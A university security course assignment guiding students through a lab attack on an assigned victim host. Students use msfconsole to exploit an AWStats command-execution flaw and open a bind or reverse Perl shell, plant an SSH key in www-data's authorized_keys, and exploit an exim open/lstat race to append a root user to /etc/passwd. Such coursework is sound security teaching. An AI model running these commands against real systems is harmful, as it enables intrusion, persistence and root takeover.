CSE443 - Project #4 - Metasploit Attack

Due Date: Fr April 20, 2012, 11:59pm.

In this project, you will use metasploit and local exploits to capture a the contents of secret, root-owned file on a remote victim host.

All students will be given (unprivileged) logins on a common attack host from which to launch attacks against your personal victim. That is, each student will have a different target victim system to attack. The final aim is to obtain a secret in the target system (target system and secret is distinct for each student). Providing someone else's secret as yours will just get you in trouble. To find the secret, students will first have to remotely attack the target system from the attacker system to get an unprivileged user on the target system, and then escalate privileges in the target system to the superuser root. In doing this exercise, students will understand the anatomy of a possible attack in a real-world scenario, along with its complexities.

Use the Attacker System to Compromise the Target

Part 1. Remote exploitation.

We shall use the Metasploit framework to exploit a remote vulnerability on the target. Metasploit is a framework for scanning hosts for vulnerabilities and exploiting found vulnerabilities. We only demonstrate the exploitation part here -- we exploit an arbitrary command execution vulnerability in a Perl web application to get web server privileges.


Web administrators often want statistics of visitors to their web sites. AWStats is such a Perl script that parses the web server's access logs, and presents various statistics about the visitors (e.g., browser used, search engine referer strings). Our target system has AWStats installed. However, the Perl script has an arbitrary script execution vulnerability (CVE-2005-0116), where a malicious HTTP request can cause the Perl script to execute arbitrary malicious code. Such input filtering weaknesses are common in web applications.

Launch Exploit from Metasploit.

We will use the metasploit program, that has readymade exploits and payloads that piggyback on the exploit to make using the exploit easier (e.g., creating a shell for you). The metasploit program will already be available on the attacking host. Using metasploit as follows to launch the exploit and obtain a shell.
# Run metasploit - May take time to start up
% msfconsole          
# Load exploit
msf > use exploit/unix/webapp/awstats_configdir_exec
# Show exploit options
msf exploit(awstats_configdir_exec) > show options
# We need to specify RHOST (remote host), LHOST (local host) and URI (location of awstats script). 
msf exploit(awstats_configdir_exec) > set RHOST target_machine_hostname
msf exploit(awstats_configdir_exec) > set LHOST attacker_machine_hostname
msf exploit(awstats_configdir_exec) > set URI http://target_machine_hostname/awstats/awstats.pl?config=default
# View possible payloads to piggyback on the exploit
msf exploit(awstats_configdir_exec) > show payloads
# Select a suitable payload (we choose Perl because exploited script is in Perl)
# Choose either cmd/unix/bind_perl or cmd/unix/reverse_perl, depending on
# which one works for you. Repeat a few times, may not succeed the very 
# first time. 
msf exploit(awstats_configdir_exec) > set payload cmd/unix/bind_perl
# exploit
msf exploit(awstats_configdir_exec) > exploit
# If the exploit succeeded, a shell opens to the remote system
[*] Command shell session 1 opened ... 

We are now on a shell in the target machine. Type commands (e.g., ls, whoami) and you can get their outputs. whoami shows we are the user www-data (that the Apache webserver usually runs as). However, this interface has several features lacking (e.g., we cannot view errors in commands we type, and commands cannot interact with the user for input). Usually, attackers attempt to connect to a terminal to launch further attacks.

Enable SSH Login to Target

Thus, the immediate problem is how to get a shell that has a terminal. The usual technique involves enabling user login by addings hosts to the .rhosts file, and SSH host keys. We will use ssh host keys for www-data so a user can login directly as www-data on the target machine through ssh, to get a terminal that is easier to work with.

SSH can authenticate users in a variety of ways. Common methods use passwords and public keys. Since we cannot directly modify the password file /etc/passwd (yet!), we will use public key authentication. The file $HOME/.ssh/authorized_keys of a user has some public keys (one per line), and any remote user who proves that he has the corresponding private key can login as that local user without supplying a password.

[ Exercise 1 ]. Generate an RSA public key pair for SSH on your attacker machine. To do this, see the Internet and manpage for ssh-keygen. Copy your public key on the attacker machine ($HOME/.ssh/id_rsa.pub) over to the file /var/www/.ssh/authorized_keys on the target machine (/var/www is $HOME for www-data). You may have to manually copy the key on the screen and paste it on the metasploit-opened shell (be careful not to introduce additional spaces), and use the echo command with output redirection (append) to /var/www/.ssh/authorized_keys. If all goes well, you can now ssh into the target machine as www-data from the attacker machine. You are now in the target machine! Turn in the authorized_keys file you made (filename: /var/www/.ssh/authorized_keys).

Part 2. Local Privilege Escalation

Now we have a login shell in the system we wanted to exploit. However, we want a secret owned by root, so we are not yet finished. We need to escalate privileges to root through a local exploit.

We will exploit a race condition in a mail delivery agent (MDA) to add our user to /etc/passwd with administrator (root) privileges.


/var/mail is a shared directory between users that has users' mailboxes. Once e-mail is received over the Internet or local delivery, mail delivery agents (MDAs) store mail into the respective mailboxes of users to whom the e-mail has been addressed. These MDAs usually run setuid as root because they should be able to append to any user's mailbox. However, users should be able to read and clear their own mail, so they also have certain privileges in this directory. Historically, various Unix-based systems have had their own customized permissions. To simplify our scenario, we assume a 777 permission on /var/mail.

drwxrwxrwx  2 root     mail     4096 2012-04-12 02:49 mail
This means any user can manipulate mailboxes in /var/mail arbitrarily. Old Unix systems had such permissions. Some recent distributions (e.g., SuSE Linux) have a slight variation of this version.

Vulnerability in the MDA.

Mail delivery agents (MDAs; common examples include postfix, sendmail and exim) know that because /var/mail is shared, they have to take precautions when writing mail to user mailboxes; however, they often make mistakes. Usually, they check for whether the file they open is a symbolic or hard link pointing to other locations (e.g., /etc/passwd), before writing to it. However, there always exists a gap between this check and the actual writing. While there are ways to securely handle this gap, it is often done improperly. Our MDA is such an example, and it has the following (highly simplified) code sequence. Students can refer to /usr/local/src/exim/exim_orig/exim-4.76/src/transports/appendfile.c:1704 on the target system for the full code.
Note: User x has mailbox in /var/mail/x

/* open /var/mail/x to deliver mail to user x */
fd = open("/var/mail/x", O_APPEND); 

/* check that /var/mail/x is not a symbolic or hard link */
lstat("/var/mail/x", &statbuf); 
if (IS_LINK(statbuf.st_mode)) {
printf("Mailbox is symbolic link, reject!\n"); 
} else if (statbuf.st_nlink != 1) {
printf("Mailbox has too many hard links, reject!\n"); 

/* All tests passed, now deliver mail */
write(fd, "mail contents"); 

Unfortunately for the MDA, there exists a race condition here that a local adversary can exploit. The race is between open() and lstat(). Consider the following scenario. The adversary creates a hard link from some mailbox (e.g., /var/mail/root) to a critical file (/etc/passwd). He waits for an MDA to deliver mail to root. The MDA performs the open(), and gets a file descriptor fd to /etc/passwd. Meanwhile, after the open(), but before the MDA can perform lstat(), the adversary deletes the hard link, and creates a benign file in its place. The MDA performs lstat() on the benign file, checks that it is not a soft link or a hard link to another file, and decides it is okay to write. However, it file it opened is different from the file it checked because of the race, and the file descriptor it obtained is actually to /etc/passwd. The MDA thus ends up appending data to /etc/passwd.

The local adversary (you!) can send mail to root with arbitrary contents, and thus control what is appended to /etc/passwd, although he does not have direct permissions to write to /etc/passwd! We will attempt to exploit this race condition, and design our message body to add a user with a known password and admin privileges.

  1. Reconnaissance of the MDA:

  2. Exploiting race condition:

    Mail delivery to hard link changed to regular file. Thus, our aim is to add a user with admin privileges and known password in the system by forcing the MDA (exim) to append to /etc/passwd. There are two challenges: (1) How do we know precisely when exim opens the file, so we can immediately change it, and (2) What data should we send in the mail, so a user with a known password is added to /etc/passwd?

I will provide a drop box for submitting this project. The project is due on Fr April 20 at 11:59pm. Please attach a tar file containing the files for the exercises above.


You are to complete this on your own. Any sharing of code or help during the coding of this project is expressly forbidden. Do not discuss this project with anyone.


To perform this project, you will have to become familiar with the use of the ssh-keygen. Also, here is the passwd entry format.


  1. How could the remote attack be stopped?

  2. How could filesystem permissions be changed to stop the /var/mail race conditions?

  3. We saw how an unprivileged user fooled the MDA to use a privileged permission that it normally wouldn't. Which attack is this an instance of?

  4. For the MDA to verify that the opened file is the same inode (actual file object) as the stat'ed file, it would need to check that inode number is the same for both. Which field in the stat data structure (man stat) identifies the inode number?

Trent Jaeger